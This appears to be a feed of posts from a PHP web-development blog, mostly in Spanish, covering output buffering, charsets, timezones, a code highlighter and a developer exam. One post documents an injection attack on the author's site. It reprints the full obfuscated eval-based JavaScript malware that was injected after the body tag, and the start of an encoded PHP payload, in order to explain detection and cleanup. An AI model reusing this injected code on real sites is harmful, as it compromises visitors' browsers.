Crear paginas WEB

MVC views with include() in PHP

noreply@blogger.com (Usher web) — Fri, 21 Dec 2012 01:20:00 +0000

If you are doing your first steps with MVC (ModelViewController) in PHP and not using any framework but trying to develop your own code (probably because need to upgrade -like me- an old web application make by yourself with a not MVC logic), then let me show you how i manage the view (V) content from the controller (C) file.

In this brief example i don't entry in the "model" (M) question (ie, how to manage data from database or what else). The purpose of this article is to know how manage PIECES of HTML (the "views" of the MVC) probably with dynamic php insertions in them.

The quit of the question is the CONTROL OF THE BUFFER. I don't pretend to offer here a tutorial about the php buffer, but let me remember the main concepts for the beginners:

the php server, by default return to the client browser whatever you output with an echo command, for example, or whatever you include in your php files outside the tags.
optionally, we can indicate to php for store these returned texts in a buffer and not to send to client browser until we need. In fact the system is more sophisticated and php give the developers a collection of functions for start, retrieve, clean or return this buffer. It sounds fine, it isn't?

Said this, let me show yet my example code. We only need 2 files:

view.php

1 <h1><?= $msg ?></h1>

index.php

1  <?php
2  
3      $output1 = renderView('view.php','this is HEADER');
4      
5      $output2 = renderView('view.php','this is FOOTER');
6  
7      $output3 = renderView('view.php','this is MAIN CONTENT');
8  
9       echo $output1.$output3.$output2;
10  
11       function renderView($viewname,$msg){
12            ob_start( );
13            include($viewname);
14            $render = ob_get_clean( );     
15            ob_end_clean();
16            return $render;
17       }
18  
19  ?>

Browser output

1  <h1>this is HEADER</h1>
2  <h1>this is MAIN CONTENT</h1>
3  <h1>this is FOOTER</h1>

Analysis of this codes

My first goal is to build the HTML of my web application in files like the view.php where the format is truly HTML&CSS and the minimal PHP code, and manage data in the "model" or the "controller" (index.php) files (in this sense, better in the model than in the controller... remember this: fat model thin controller).
My second goal is to CONTROL WHEN TO SEND html to client browser (or webservice, or whatever other client), because in a real environment (not like here in this toy example) i would need to manipulate these different HTML pieces that the components of my application will generate (menus, widgets, etc.) before to join in a unique HTML raw stream for send to browser.
for this reason, the view.php file is almost a piece of HTML&CSS code where i can INSERT pieces of php which will replace this kind of "placeholders" just like it was a template.

It's important to note here that the variables which will be accessible from view.php are uniquely the variables accessible within the function (or method) where we use the include() command.
Obviously, the most interesting part of this example is the function renderView($viewname,$msg):
- When we call ob_start() the Output Buffer begin to store all what we return as echo or what we include outside php tags (like the content of the view.php file).
- With ob_get_clean() we retrieve the content stored at this moment, and also empty the buffer.
- And finally, with ob_end_clean() we finish the buffering, although we can use it again afterward with ob_start(), as many times as we need.

Conclusion

As you see, is very simple then to build a mini MVC logic for your web applications. Think that this control of the buffer let us for example store the output in some kind of cache (in a folder of our application) before to send to browser, for example. Or we could store some "little dynamic" pieces of HTML in this cache, or we could REUSE the same generated HTML (some widget?) in different places of the same HTML page without to generate twice. Etcetera...

I hope this mini-guide has given to you some good ideas. Please, add comments and suggestions if you have.

New PHP injection attack and also HTML injection

noreply@blogger.com (Usher web) — Mon, 02 Apr 2012 23:47:00 +0000

Just 2 years ago wrote an article about an attack to one of my websites which injected PHP code in the top of EACH php file. And i shared with you my cleaning process and some little scripts for this task.

Now, just yesterday i suffered a new attack a little different, but it inserted also injections on some of my files PHP and HTML. I'me happy for share here with you my case and my solution for help you perhaps.

== My script for help you

Yes, just like 2 years ago i would like to share with you an script for help in the detection & cleaning. Don't be wrong, hehehe... it's a simple "search" script. But you will see that it will help you a lot.

Perhaps, with a bit of luck, some of you will make an improvement in the script and upload it, and i promise to update it here for download. Really, i use this script frequently for my developing work, so i'm improving it constantly. Include, i thinked about to create an opensoruce project around it... but well.. finally i never get the necesary time :(

Here you can download SRR_search.zip (SRR, from Sergi Rodrigues Rius :P)

Edited 2012-08-16: finally i start to use GitHub for share with others my scripts, and i began sharing my php_srrFileManager where i included the SRR_search.php functions. The difference is that now, with the php_srrFileManager we have a "nice" interface for browse files, delete, move, create, rename and SEARCH, in a way more friendly. This opensource project is encapsuled in a unique PHP file, so it continue being very easy to use ;)

Note: i didn't modified the original article (below) for use this new php_srrFileManager, but i think that it not will be very much difficult to imagine it. But if you have doubts, please add a comment and i will answer as soon as possible.

== Symptoms and detection of injection

I had the luck of be alerted today by email from my hosting provider. From here, many many many thanks Christine by your effort and help!!! They are VerveHosting, and guys... really they are very good, specially in the support to their customers. Excellent and very recommendable service! Eg. in this case i'm alive still thanks to them! ;)

Apart of this, i unknow how to detect automatically this kind of intrusions. The VerveHosting team simply were alerted by monitoring the FTP log!! where you can see something like this:

15:57:46 servera585 lfd: *Suspicious Process* PID:10658 User:myuser Uptime:116 secs EXE:/usr/sbin/pure-ftpd\00]\00frm\00cgi515.sem (deleted) CMD:pure-ftpd (UPLOAD)

After detect this entry at FTP log we look for the geolocalization of the IP of this connection and effectively was in another continent (Europe) than me (America). So it proof definetively that was an intruder... apart from the fact that the files downloaded and uploaded at my server i didn't touch never since the first day that i put on server.

Perhaps is interesting also note some things of this attack:

the attacker upload some file, and after delete it!! probably he/she upload it, then try to execute it calling it from outside the server (probably using curl), and after delete it FOR NOT LEAVE SIGNALS of the intrusion!! I say this because if we look at an inffected site we won't find any new file.
i don't know if before of after the FTP connection, but they injected a PHP code encrypted and decrypted with

echo(gzinflate(base64_decode("tVVN...

just at the end of the files which file name end with index.php, so for example they inffected my files like admin_index.php. So, briefly, for know if you hav been inffected could open this files and see if are inffected at the bottom of the file, just before the ?>.
also i don't know when they inffected my index.htm files -i supose that in the same moment the inffected the PHP of the previous point. In this case, the injection is of Javascript code JUST after the body tag:

1  
2  <body><!--d93065-->
3  <script>
4       c=2;i=c-2;
5       if(parseInt("0123")===83)
6       if(window.document)try{
7            new String("asd").prototype.q
8       }catch(egewgsd){
9            f=['
10  -30i-30i66i63i-7i1i61i72i60i78i70i62i71i77i
11  7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i
12  58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i
13  54i2i84i-26i-30i-30i-30i66i63i75i58i70i62i75
14  i1i2i20i-26i-30i-30i86i-7i62i69i76i62i-7i84i
15  -26i-30i-30i-30i61i72i60i78i70i62i71i77i7i80
16  i75i66i77i62i1i-5i21i66i63i75i58i70i62i-7i76
17  i75i60i22i0i65i77i77i73i19i8i8i78i71i80i72i
18  80i73i78i7i62i78i8i60i72i78i71i77i12i7i73i65
19  i73i0i-7i80i66i61i77i65i22i0i10i9i0i-7i65i62
20  i66i64i65i77i22i0i10i9i0i-7i76i77i82i69i62i
21  22i0i79i66i76i66i59i66i69i66i77i82i19i65i66i
22  61i61i62i71i20i73i72i76i66i77i66i72i71i19i
23  58i59i76i72i69i78i77i62i20i69i62i63i77i19i9i
24  20i77i72i73i19i9i20i0i23i21i8i66i63i75i58i70
25  i62i23i-5i2i20i-26i-30i-30i86i-26i-30i-30i63
26  i78i71i60i77i66i72i71i-7i66i63i75i58i70i62i
27  75i1i2i84i-26i-30i-30i-30i79i58i75i-7i63i-7i
28  22i-7i61i72i60i78i70i62i71i77i7i60i75i62i58i
29  77i62i30i69i62i70i62i71i77i1i0i66i63i75i58i7
30  0i62i0i2i20i63i7i76i62i77i26i77i77i75i66i59i
31  78i77i62i1i0i76i75i60i0i5i0i65i77i77i73i19i8
32  i8i78i71i80i72i80i73i78i7i62i78i8i60i72i78i
33  71i77i12i7i73i65i73i0i2i20i63i7i76i77i82i69i
34  62i7i79i66i76i66i59i66i69i66i77i82i22i0i65i
35  66i61i61i62i71i0i20i63i7i76i77i82i69i62i7i73
36  i72i76i66i77i66i72i71i22i0i58i59i76i72i69i78
37  i77i62i0i20i63i7i76i77i82i69i62i7i69i62i63i
38  77i22i0i9i0i20i63i7i76i77i82i69i62i7i77i72i
39  73i22i0i9i0i20i63i7i76i62i77i26i77i77i75i66i
40  59i78i77i62i1i0i80i66i61i77i65i0i5i0i10i9i0i
41  2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i
42  62i1i0i65i62i66i64i65i77i0i5i0i10i9i0i2i20i
43  -26i-30i-30i-30i61i72i60i78i70i62i71i77i7i64
44  i62i77i30i69i62i70i62i71i77i76i27i82i45i58i
45  64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i7
46  i58i73i73i62i71i61i28i65i66i69i61i1i63i2i20i
47  -26i-30i-30i86'][0].split('i');
48            md='a';
49            v="ev"+"al";
50       }
51       if(v)e=window[v];
52       w=f;s=[];r=String;
53       for(;565!=i;i+=1){
54            j=i;
55            s+=r["fromC"+"harCode"](39+1*w[j]);
56       }
57       if(f)z=s;
58       e(z);
59  </script>
60  <!--/d93065-->
61

== Cleaning

Well, perhaps the first action that you must take is to change your passwords on this site, specially for FTP and SSH if you have activated the Shell Access for this hosting account.
The next is to remove the injections in your PHP and HTML files!

For this, i used the script SRR_search.php that you can download above. In any case you will need at least find ONE inffected file for take its "token" and search trhough all your filesystem!

in the case of the PHP injections we will search:

SRR_search.php?q=gzinflate

although this search can return "falses positives", because you can have other files than use this php function without be inffected ;) so another search that must complement the first is this:

SRR_search.php?q=93065

where precisely 93065 is the "token" present at the begining of all the injections. I suspect that the attacker use a different token for each inffected site for store infor about us in his "database" .... gggggrrrrrrr
in the case of the HTML/javascript injections we will search:

SRR_search.php?q=egewgsd

because the javascript injection code has this piece: }catch(egewgsd){ although in each attacked website this code is diferent.

With these searcher you will find the files injected, and because they are only a few (the ones ended with index.php or index.htm) then you can access via FTP and extract the injection mannually ;)

I would like that my script for searching could accept symbols not alphanumeric like parenthesis or braquets, but... this signs are difficult to write as a GET variable in the URL :(( but if you are able to modify to script for show a box and accept this query string by POST... it will be wellcomed if you upload and share your improvement! ;) i konw that it's not so complicated but... sincerely... mostly of times the script is useful anyway.

== Preventive measures

I've read that perhaps the problem is a bug in FileZilla. As you may know, the login connection data is stored in a plain text without encryption!!!! i unknow if that is really a serious security hole... if it was so, i don't think that the FileZilla programmer hasn't take none contra-measure.
I've read also about a trojan virus which inffected in this same way and once inffected one website, the next visitants to the website suffer a "browser inffection" and then th attacker can read login data for other clean sites... obviously for inffect them after! well... sincerely i didn't read very much about this yet. If you have good info from your own experience, please comment here.
Anyway, the best we can do is change all the passwords of the sites we have cleaned (specially FTP & SSH passwords).

Final note: remember to remove the SRR_search.php file for avoid onlookers ;) Although for a better security, i put at the top of the script a checking of the IP of the call:

//if (!substr($_SERVER['REMOTE_ADDR'],0,7)=='189.170'){echo "Sorry, your IP is not authorizated.";return;}

but i commented this line, so in fact it don't take effect if you not uncomment it.

Exam for PHP web developers (LAMP-WAMP)

noreply@blogger.com (Usher web) — Tue, 27 Dec 2011 19:40:00 +0000

Here i share with you the exam i prepared when i needed evaluate possible candidates for work with me as a web developers.

I work since the begining with PHP and MySQL (ever under Linux), i don't need a genius nor very intelligent person, but yes someone who can write PHP code manually and do the basic things with PHP/MySQL/HTML/CSS/Javascript and if possible jQuery.

Then, i created the exam that you can download here, or read below.
I hope this help someone or give any good idea ;) if you finally take this exam as inspiration and make a good improvement to it, please share with us and leave a comment!!!

NOTA: llevo 4 años y medio escribiendo artículos en este blog con el único interés de devolver a la comunidad de programadores tan solo un poquitín de todo lo que me han dado, especialmente los más generosos que no solo leen sino que también escriben!

Hasta ahora lo había hecho en "castellano" ("español", para los latinoamericanos), más sin embargo, a día de hoy el catalán está siendo tan agredido en su propio territorio (Catalunya, una región al norte de España) por los españoles castellanistas, que adopto la medida de cambiar el idioma de mis artículos al inglés como medida de boicot.

Lo siento por los latinoamericanos que desconocen esta polémica lingüística dentro del territorio español y que no tienen culpa, pero no dudo de que la mayoría entenderán perfectamente mi "limitado inglés", y si no harán uso de alguno de los traductores que corren por internet (recomiendo absolutamente: http://translate.google.com/#en|es|).

Xavals... se us ha acabat el bròquil (això no crec que ho sàpiga traduir el Google :P).

Catalonia is not spain!

=== OBJECTIVE OF THIS TEST

We need to know the skills and measure the ability of the candidate to manage the tools most used in our day to day work (in order of importance):

- PHP programming
- MySQL managing/querying
- HTML/CSS building
- Javascript programming

=== WHAT TO DO NOW?

Build a simple web application that use HTML, CSS, javascript, PHP and MySQL. The concept of the web application is:

-> Store & manage (add/edit/list/delete) typical task notes, as "I've an exam for new job tomorrow."

Minimum elements to build:

- a database table to store elements (minimum fields: task_title, task_description,timestamp_creation,last_timestamp_edition).
- HTML page with list of elements (tasks), with buttons to edit/delete each element, and an "add new element" button.
- an edit element form, with javascript data validation before submission.
- use a CSS linked file to present the content well(list of elements and edit form).

= Notes:

1. You can call external jquery libraries if you feel more comfortable.
2. Add plenty of comments to your code (PHP, Javascript, HTML).
3. Any other elements (client or server side) that you add to the above specifications will be welcome.

=== URL: http://companydomain.com/exam/

=== DATABASE

-db_host: localhost
-db_user: exam_user
-db_passw: exam_pass
-db_database: exam_dbname

PHPMyAdmin: https://companydomain.com/phpMyAdmin/

=== FTP

-host: companydomain.com
-user: exam_user
-pass: exam_pass

=== SOFTWARE TO USE

You must only use:

- obviously a browser

- an FTP client

      + recommended: FILEZILLA (windows or linux)
      + http://filezilla-project.org/download.php?type=client)

- a SIMPLE code editor, never a sophisticated IDE
      + recommended: Windows NOTEPAD++ (windows) / Bluefish (linux)
      + http://notepad-plus-plus.org

- the database can be managed from PHP or PHPMyAdmin:

      + https://companydomain.com/phpMyAdmin/

Solución a carácteres raros y juegos de carácteres (charset)

noreply@blogger.com (Usher web) — Sat, 06 Aug 2011 20:34:00 +0000

Si al visitar tu propia web en tu navegador ves "carácteres raros", puede ser debido a dos cosas:

realmente hay carácteres "binarios"
hay un conflicto de "juego de carácteres" o "charset" en inglés

Carácteres binarios

Si tienes esos carácteres binarios es porque tú o algún visitante o administrador de tu web introdujo en el sistema (en un archivo o en la base de datos a través de un formulario) alguna cadena de texto COPIANDO Y PEGANDO desde algún software de Microsoft, por ejemplo. No siempre que se haga eso tiene que ocurrir tal "desajuste" de carácteres, pero la mayoría de las veces que ocurre es por esa razón. es algo que te puede ocurrir aunque tengas perfectamente construida tu web a nivel de charsets.

La solución a eso es disponer de alguna función PHP de limpieza de esos posibles carácteres, usándola justo cuando recibas datos a través de formularios, para que así se te guarden limpios en la base de datos.

En este otro artículo comparto esta función para limpiar, aunque ya aviso de que solo funciona si estás trabajando con el charset "utf-8" en toda tu web (base de datos, HTML y archivos!):

http://crear-paginas-web.blogspot.com/2011/06/eliminar-caracteres-raros-o-binarios-de.html

Conflictos de charset

Hay que definir el charset de tres elementos de tu aplicación web:

la base de datos
el HTML devuelto al navegador
los archivos del servidor (ya sean PHP o HTML o de texto)

Para empezar, la base de datos tiene dos tres aspectos en los que hay que configurar el charset, y no necesariamente coincidente (por eso son dos!).

Uno es el charset utilizado para guardar los datos en sí.
El otro el de "cotejamiento" de los datos. No me preguntes muy bien cuál es la diferencia... para eso busca por internet. Lo que te digo es que ahí ya puede haber una primera fuente de problemas!
El tercero es la conexión del PHP con el MySQL, que también tiene que indicar el charset que se quiere usar. Es tan sencillo como añadir el siguiente comando después de cada conexión con MySQL:
1 <?php 2 3 $connection = mysql_connect($db_host,$db_user,$db_passw) ; 4 mysql_set_charset('utf8'); 5 6 ?>

[* añadido el 6 de Dic. de 2011]

Lo recomendable es que ambos coincidan y que sea "UTF-8 unicode". Los demás charset suelen estar ahí para compatibilizar con bases de datos antiguas, pero hoy en día se recomienda UTF-8 UNICODE como charset completamente universal! puede contener carácteres chinos, árabes, rusos, latinos, etc... y todos mostrarse en un mismo párrafo perfectamente! ;)

La segunda cuestión es el charset de la página web devuelta al navegador. Es decir, el charset declarado en el meta-tag del HTML: "content-type", que indica al navegador con qué charset debe renderizar el contenido de tu HTML. Y de nuevo, lo recomendable es que uses UTF-8, así:

1 <meta equiv="Content-Type" content="text/html; charset=UTF-8" />

El tercer elemento de tu aplicación web en el que tienes que definir el charset es el más sútil y a veces problemático! Se trata del charset usado para el contenido de tus archivos en el servidor (PHP, texto, HTML, etc...). Y digo que es problemático porque solo de unos años para acá los editores de texto o de código que usamos en el escritorio de nuestros PCs (sea Linux o Windows...) han ido incorporando más funciones para poder definir el charset de nuestros documentos de una forma más clara y controlada para el usuario. Y aún así a veces yo tengo problemas!

El problema en este punto es que por ejemplo algunos de tus archivos .php estén codificados en iso-8859-1 y tu base de datos en utf-8. ¿Porqué? pues porque entonces es un poco imprevisible como se renderizarán algunos carácteres, como por ejemplo el símbolo de euro, que no tiene una codificación propia en iso-8859-1. ¿Ya vas entendiendo el lío que se puede montar?

Por esa razón hemos de usar un editor de texto/código que nos permita saber en todo momento el charset de nuestros documentos y modificarlo a voluntad. Es algo que cada día se ve más, pero aún no acaba de funcionar bien.

Por ejemplo, en Linux yo uso el excelente editor opensource Bluefish. Pero en la última versión parece tener un bug según el cuál te abre un documento con el último charset que usaste!!! imagínate que lío!!! si no voy con cuidado y tengo webs que usen iso-8859-1 y otras utf-8, si no me fijo me puede ir mezclando los charset entre ellos!!!! cosa que ya me ha ocurrido, porque aún tengo unos cuantos sites que tengo que convertir totalmente a utf-8 :(((

En fin, creo que queda evidente el problemón... símbolos de euros que no aparecen, vocales acentuadas que se ven como ~A- o cosas peores...

Conclusión

Es muy sencilla la moraleja a todo lo anterior:

usa UTF-8 para tus archivos
usa UTF-8 para tu base de datos
usa UTF-8 como charset en el meta-tag de tus páginas HTML

-->

Eliminar caracteres raros o binarios de un string en PHP

noreply@blogger.com (Usher web) — Wed, 01 Jun 2011 07:26:00 +0000

Bueno, espero que estés aquí porque te hayas encontrado con el siguiente problema: tienes carácteres "extraños" o "binarios" o "no ascii" en algunos "strings" de tu base de datos, y no sabes cómo filtrarlos. Estos carácteres aparecen habitualmente al hacer un "copiar y pegar" desde algún software de Microsoft (Outlook, MSword, MSexcel, etc...) de usuarios que estén rellenando un formulario en tu web, por ejemplo. Me imagino que es el caso más habitual :(

Lo más curioso es que el hecho de que tengas un carácter de ese tipo infiltrado en tu base de datos puede ocasionar los errores más variopintos y puede costar de llegar a descubrir que es por culpa de ese maldito carácter! En mi caso estaba pasando datos de un servidor a otro usando un webservice que trabaja con SOAP y que por tanto los datos se envían en un formato XML perfecto. Eso quiere decir que si en la cadena de datos que estás transmitiendo tienes un caracter raro de esos... entonces ya rompes el formato del XML y recibes un error del tipo: "documento XML mal formado".

Solución

Aquí os dejo una función que a mí me sirve para limpiar de carácteres raros una cadena de texto (string). Uso PHP 5.2 corriendo sobre CentOS (linux), por lo que no sé si habrá diferencias con otros entornos, pero por probar no pierdes nada, y en todo caso la solución va por aquí:

1  <?php
2  function f_remove_odd_characters($string){
3       // these odd characters appears usually 
4       // when someone copy&paste from MSword to an HTML form
5       $string = str_replace("\n","[NEWLINE]",$string);
6       $string=htmlentities($string);
7       $string=preg_replace('/[^(\x20-\x7F)]*/','',$string);
8       $string=html_entity_decode($string);     
9       $string = str_replace("[NEWLINE]","\n",$string);
10       return $string;
11  }
12  ?>

Unos pocos comentarios:

he mezclado lo mejorcito que he encontrado por ahí que no era mucho, pues al final he tenido que poner de mi parte ;)
lo del NEWLINE es para evitar que el preg_replace elimine los posibles cambios de línea
lo de los htmlentities es para evitar que se el preg_replace elimine las posibles vocales acentuadas y otros carácteres latinos!
efectivamente, el mérito de la limpieza se lo lleva la función preg_replace, habiendo protegido previamente las vocales acentuadas y los cambios de línea

Por favor, si no te ha servido y has podido "modificarla" para hacerla funcionar en tu caso, se agradecería que escribieras los detalles. ¿Te puedes creer que dónde he leído la mayor parte de esa función ha sido en un artículo que se escribió hace dos años y medio y aún la gente sigue aportando mejoras y comentarios?... qué alegría me da eso :)

Este era el enlace original, en dónde aporté mis cambios:
http://www.stemkoski.com/php-remove-non-ascii-characters-from-a-string

Actualización 27-Junio-2011

Acabo de descubrir que la función de arriba tiene problemas con el símbolo euro!! (€). Después de investigar, descubro que este símbolo no está en el charset latino habitual ISO-8859-1 y que por tanto la función nativa de PHP utf8_decode("€") devuelve "?" !!!! :(

Esto provoca que si el charset de tu web no es utf-8 entonces los simbolos de euro se te convierten en un interrogante si les aplicas utf8_decode() para guardarlo en tu base de datos! por si no lo sabías... Pero en fin, normalmente no deberías hacer esas cosas. Es decir, tener la base de datos y al web en dos charsets diferentes!

Bueno, en paralelo, si aplicamos la función f_remove_odd_characters($string) sobre el simbolo de euro, éste SIMPLEMENTE desaparece :( es decir, lo convierte a ''. De lo cuál me di cuenta cuando me fueron despareciendo los simbolos de euro que mis usuarios introducían en los formularios :(((

Conclusión, dejo pendiente este asunto de la eliminación de caracteres. He encontrado por internet una función que sustituye a utf8_decode() de manera que "evita" el problema del euro... por si a alguno le sirve, y también quiero ver si con ello también se eliminan otros caracteres raros como los que pretendía limpiar al inicio.

Es una lástima que no tenga ya "guardados" en mi base de datos esos carácteres raros para poder probar si efectivamente se pueden limpiar con la siguiente función, pero en fin, si alguien puede hacerlo, se lo agradeceré enormemente si comparte aquí el resultado ;)

1  <?php
2  
3  function _utf8_decode($string){          
4       
5      /* Only do the slow convert if there are 8-bit characters */
6      /* avoid using 0xA0 (\240) in ereg ranges. RH73 does not like that */
7      if (! ereg("[\200-\237]", $string) and ! ereg("[\241-\377]", $string))
8          return $string;
9  
10      // decode three byte unicode characters
11      $string = preg_replace("/([\340-\357])([\200-\277])([\200-\277])/e",       
12      "'&#'.((ord('\\1')-224)*4096 + (ord('\\2')-128)*64 + (ord('\\3')-128)).';'",   
13      $string);
14  
15      // decode two byte unicode characters
16      $string = preg_replace("/([\300-\337])([\200-\277])/e",
17      "'&#'.((ord('\\1')-192)*64+(ord('\\2')-128)).';'",
18      $string);
19  
20      return $string;
21  } 
22  
23  ?>

Hora actual en cierto TimeZone con PHP5 usando date_create()

noreply@blogger.com (Usher web) — Tue, 26 Apr 2011 19:56:00 +0000

Tal vez te haya tocado pelearte con el tema de las zonas horarias... y sabrás que es un auténtico embrollo. Después de haber probado varios métodos, finalmente hallé para mis aplicaciones una manera bien sencilla, que aprovecho para compartir aquí.

El problema se trata de lo siguiente: necesito saber la hora actual en cierta zona horaria, teniendo en cuenta obviamente los cambios de hora para verano.

La solución:

1  <?php
2  
3       $timeZone = "America/Hermosillo";
4       $o_date = date_create(null, timezone_open($timeZone));
5       $local_time = date_format($o_date, 'd/m/Y H:i');
6            
7       echo "Time at ".$timeZone.": ".$local_time;
8            
9       // will produce something like this
10       //
11       // Time at America/Hermosillo: 26/04/2011 13:32 
12  
13  ?>

Si en nuestro servidor poseemos una versión de PHP >= 5.3 podemos trabajar con una variante de lo anterior en la que usamos la función date_create_from_format() para crear el objeto de fecha $o_date a partir de cualquier fecha y hora en cualquier formato!!!

1  <?php
2  
3       $timeZone = "America/Hermosillo";
4       $o_date = date_create_from_format('Y-m-d H:i','2011-04-26 00:00', timezone_open($timeZone));
5       $local_time = date_format($o_date, 'd/m/Y H:i');
6            
7       echo "Time at ".$timeZone.": ".$local_time;
8            
9       // will produce something like this
10       //
11       // Time at America/Hermosillo: 25/04/2011 15:00 
12  
13  ?>

El inconveniente a día de hoy (Abril 2011) es que pocos servidores han actualizado aún a esa versión (el mío no, por ejemplo). En ese caso, este otro código que trabaja con objetos DateTime en lugar de con funciones, no es mucho más complicado pero nos aporta una nueva ventaja: podemos usar como "hora" a traducir cualquiera que esté en el formato Y-m-d H:i

1  <?php
2  
3       $timeZone = 'America/hermosillo';
4       $dateTime = new DateTime('2011-04-26 00:00');
5       $dateTime->setTimeZone(new DateTimeZone($timeZone));
6       $local_time=$dateTime->format('d/m/Y H:i');
7  
8       echo "Time at ".$timeZone.": ".$local_time;
9  
10       // will produce something like this
11       // (in a Server at 'Europe/Madrid')
12       //
13       // Time at America/Hermosillo: 25/04/2011 15:00
14        
15  ?>

Es decir, resumiendo, el primer código que he presentado va excelente para calcular la hora en este momento en cualquier zona horaria del globo. Y el último código, nos es útil para calcular la hora en cualquier zona horaria a partir de cualquier otra fecha/hora de nuestro servidor ;)

Estoy seguro que a más de uno le ayudará esto. Aunque en realidad sé que la cosa aún puede complicarse más, y de hecho, si uno quiere que su aplicación web sea realmente "multi-horaria" (para el visitante, para la base de datos, etc...) la cosa puede ser un tanto surrealista. Una buena recomendación al respecto que leí hace unos meses es: guardar en tu base de datos fechas y horas en formato GMT, para a partir de ahí "traducirlo" al uso horario que necesites en cada momento, independientemente de que coloques tu aplicación en un servidor de una zona horaria u otra.

Suerte!
Salud!
SERGI

Formatear código para publicar en blog

noreply@blogger.com (Usher web) — Fri, 08 Apr 2011 19:42:00 +0000

Habrás llegado aquí posiblemente buscando cómo poder publicar trozos de código en los artículos de tu blog o en tu propia web de documentación de software, etc... Ya sabes: con colores que destaquen la sintaxis del código y hagan más legible el código que publicas.

Pues bien, en mi caso me sucedió lo mismo. Y al final la solución aceptable que asumí para mi uso personal es la que comparto aquí con vosotros. Es un pequeño código de PHP que he colgado en uno de mis dominios y que podéis ver aquí abajo.

¿Qué hace? simplemente muestra una casilla textarea para introducir el código que quieres formatear, pulsas un botón "send" y se recarga la página con otro textarea con él código ya formateado y listo para copiar y pegar en tu blog, además de mostrar debajo el aspecto de cómo quedará ;) Así puedes hacer varios "intentos" hasta que veas que te guste.

No voy a echarme muchos méritos pero sí los que merezco: tomé de base un código muy parecido que hacía casi lo mismo, pero lo he mejorado en muchos aspectos, tanto en el formateado en sí como en la usabilidad de la "aplicación". Por ejemplo, el original no presentaba el segundo textarea para copiar y pegar el código sino que había que ver "el código fuente" de la página para copiarlo :( Y también tenía errores en el coloreado de los números de línea.

En fin, disfrútenlo:

1  <?php
2    if( !empty( $_POST['codigo'] ) ) {
3         $codigo = $_POST['codigo'];
4         $codigo = str_replace( "\t", "     ", $codigo );
5         $codigo = highlight_string( stripslashes( $codigo ), true );
6         $line = 1;
7         $buffer = array();
8         $cod = explode( "<br />", $codigo );
9         foreach( $cod as $codLine ) {
10              $buffer[] = "<b style='color:#888!important;'>".$line."</b>&nbsp;&nbsp;" . $codLine;
11              $line++;
12         }
13         $codigo = implode( "<br />", $buffer );
14         // quit ASCII break lines 
15         $codigo = str_replace("\r",'',$codigo);
16         $codigo = str_replace("\n",'',$codigo);
17         // HACK: 
18         $codigo = str_replace( "<b style='color:#888!important;'>1</b>&nbsp;&nbsp;<code>", "<code><b style='color:#888!important;'>1</b>&nbsp;&nbsp;", $codigo );
19         // FRAME DECORATION:
20         $codigo = "<div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'>".$codigo."</div>";
21    }
22    ?>
23    <html>
24    <head>
25         <title>Format Code</title>
26    </head>
27    <body>
28    
29    <div style='width:600px;margin:5px auto;line-height:1.3em;'>
30    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
31            <h2>1. Source code</h2>
32         <textarea rows="7" cols="80" name="codigo"><?php 
33              echo htmlentities(stripslashes($_POST['codigo'])); ?></textarea>
34         <br />
35         <input type="submit" name="send" value="Send &darr;" />
36    </form>
37            <h2>2. Formatted code</h2>
38         <textarea rows="7" cols="80"><?php 
39         echo htmlentities($codigo); ?></textarea><br />
40            <h2>3. Preview</h2>
41                   <?php echo $codigo; ?>
42    </div>
43    
44    </body>
45    </html>

Podéis descargarlo aquí: highlightingcode.tar.gz

Inconveniente: solamente colorea la sintaxis de PHP. Para los otros lenguajes (HTML, CSS, javascript, etc...) al menos añade los números de línea y conserva la tabulación, lo cuál es una gran ayuda, no?

La verdad, a mí, ya me es más que suficiente. Sería ideal que también coloreara otros lenguajes. En este sentido existe una librería gratuita muy interesante, pero ya se hace bastante más complicado usarla: SyntaxHighlighter.

Error: Call to undefined function: file_put_contents()

noreply@blogger.com (Usher web) — Wed, 30 Mar 2011 02:32:00 +0000

Si tu navegador te muestra ese error es que probablemente tienes una versión obsoleta de PHP instalada en tu servidor. Porque la función file_put_contents() apareció a partir de PHP5. Puedes verlo en la doc. oficial de la misma:

http://php.net/manual/en/function.file-put-contents.php

Tienes 2 soluciones:

actualizar tu servidor... lo cuál es más que recomendable, porque cada vez irás teniendo más problemas de este tipo si no lo haces, a parte que es muy pero que muy recomendable por seguridad! a día de hoy (Marzo de 2011) está por salir PHP6 pronto...

construirte una función a medida que haga lo mismo que se supone que hace file_put_contents().

Voy a ayudarte a ello, porque es bien simple: básicamente intenta escribir en un archivo (existente o no) un contenido tipo string.

1  <?php 
2  
3  function file_put_contents($path_file,$content){
4            // intentamos cambiar los permisos del archivo 
5            @chmod($path_file,0755);
6            // abrimos el archivo en modo escritura al inicio
7            $fp = fopen($path_file,"w"); 
8            // escribimos
9            fwrite($fp, $content);
10            // cerramos  
11            fclose($fp); 
12  }
13  
14  ?>

Espero que te haya sido útil. Recuerda solamente que una vez que cambies a PHP 5 tendrás que eliminar esta función, si no lo haces te dará error.

Saludos!
SERGI

Esconder direcciones de email a los spammers usando base64

noreply@blogger.com (Usher web) — Wed, 23 Feb 2011 23:22:00 +0000

De todos es conocido que no es muy recomendable dejar a la vista direcciones de correo electrónico porque los robots usados por los "spammers" los chupan inmediatamente. Voy a compartir aquí un método nuevo (y creo que sencillo de implementar) a todos los que ya hay, usando codificación en base64.

Supongamos que el HTML que nosotros queremos renderizar es:

<p>correo: mi@correo.com</p>

entonces, para este caso, pondremos:

<p>correo: <span class='e64'>bWlAY29ycmVvLmNvbQ==</span>

en dónde "bWlAY29ycmVvLmNvbQ==" es la codificación en base64 de la dirección "mi@correo.com". Por de pronto, en esta línea de HTML los robots ya no encuentran una arroba ni nada que se le parezca!

Para conseguir renderizar eso con PHP sería con algo como:

1  <?php
2  
3    echo "<p>correo: <span class='e64'>"
4              .base64_encode("mi@correo.com")
5              ."</span></p>";
6  
7  ?>

Lo que nos toca hacer ahora es usar algo de javascript para que en cuanto se cargue la página el navegador sustituya el contenido de este spam por el valor decodificado. Para ello, necesitaremos echar mano de alguna función decodificadora de base64 para javascript. Lo que yo suelo hacer en estos casos es buscar en el proyecto PHP.js que es una librería abierta de funciones de PHP pasadas a javascript, genial, verdad!? En nuestro caso esta es la función que nos decodificará el base64:

http://phpjs.org/functions/base64_decode:357

